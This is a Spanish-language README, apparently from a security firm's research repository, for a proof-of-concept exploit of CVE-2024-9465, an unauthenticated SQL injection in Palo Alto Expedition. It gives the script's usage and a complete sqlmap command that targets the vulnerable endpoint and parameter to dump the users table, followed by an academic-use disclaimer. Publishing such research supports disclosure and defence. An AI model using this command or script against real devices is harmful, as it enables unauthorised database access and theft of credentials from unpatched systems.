CVE-2024-9465: Inyección SQL no autenticada en Palo Alto Expedition

Prueba de concepto para explotar CVE-2024-9465 en dispositivos vulnerables.

Publicación del blog

Causa raíz e indicadores de compromiso aquí: https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/

Uso

% python3 CVE-2024-9465.py -h
usage: CVE-2024-9465.py [-h] -u URL

options:
  -h, --help         show this help message and exit
  -u URL, --url URL  The URL of the target

Volcado de tabla con SQLMap

python3 sqlmap.py -u "https://<ip_address>/bin/configurations/parsers/Checkpoint/CHECKPOINT.php?action=im port&type=test&project=pandbRBAC&signatureid=1" -p signatureid -T users --dump

Sigue al equipo de ataque de Horizon3.ai en Twitter para conocer las últimas investigaciones en seguridad:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

Aviso legal

Este software ha sido creado únicamente con fines de investigación académica y para el desarrollo de técnicas defensivas efectivas, y no está destinado a ser utilizado para atacar sistemas excepto cuando se cuente con autorización explícita. Los mantenedores del proyecto no son responsables por el mal uso del software. Úselo de manera responsable.